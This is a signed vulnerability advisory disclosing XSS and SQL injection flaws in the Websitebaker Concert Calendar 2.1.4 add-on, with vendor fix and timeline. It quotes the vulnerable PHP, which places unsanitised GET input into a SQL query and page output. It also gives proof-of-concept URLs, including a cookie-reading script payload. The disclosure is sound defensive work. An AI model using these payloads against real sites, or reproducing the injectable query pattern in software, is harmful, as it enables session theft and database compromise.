Websitebaker add-on Concert Calendar version 2.1.4 suffers from cross site scripting and remote SQL injection vulnerabilities.
08f398cedb0b208dc2348c5f4b971fa4c1f1f8a17d18a0ccc2f9741ea6710a5b
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Advisory: Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi
vulnerability
Advisory ID: SSCHADV2013-001
Author: Stefan Schurtz
Affected Software: Successfully tested on Concert Calendar 2.1.4
Vendor URL:
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
Vendor Status: fixed
==========================
Vulnerability Description
==========================
Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi
vulnerability
==========================
Vuln code
==========================
// view.php
if (isset($_GET['date'])) {
$date = $_GET['date'];
}
.
.
.
// SQLi
$query_dates = mysql_query("SELECT * FROM
".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' &&
concert_date = '$date'"); // Zeile 184
// XSS
echo " ".switch_date($date, $dateview)." "; // Zeile 176
==========================
PoC-Exploit
==========================
// SQLi (magic_quotes = off)
http://[target]/wb/pages/addon.php?date=[SQLi]
// XSS
http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>
==========================
Solution
==========================
Update to the latest version Concert Calendar 2.2
==========================
Disclosure Timeline
==========================
01-Jan-2013 - developer informed
08-Jan-2013 - fixed by developer
==========================
Credits
==========================
Vulnerabilities found and advisory written by Stefan Schurtz.
==========================
References
==========================
http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
http://www.darksecurity.de/advisories/2013/SSCHADV2013-001.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (MingW32)
Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools
Comment: Download at: http://thunderbird.gnupt.de
iEYEARECAAYFAlDvEA8ACgkQg3svV2LcbMCqAwCcCA1yWal9t1Bdeu33qBOpip2i
XMcAn2e08M5GNyZ5TfSy5BiCB08+W+bF
=97A/
-----END PGP SIGNATURE-----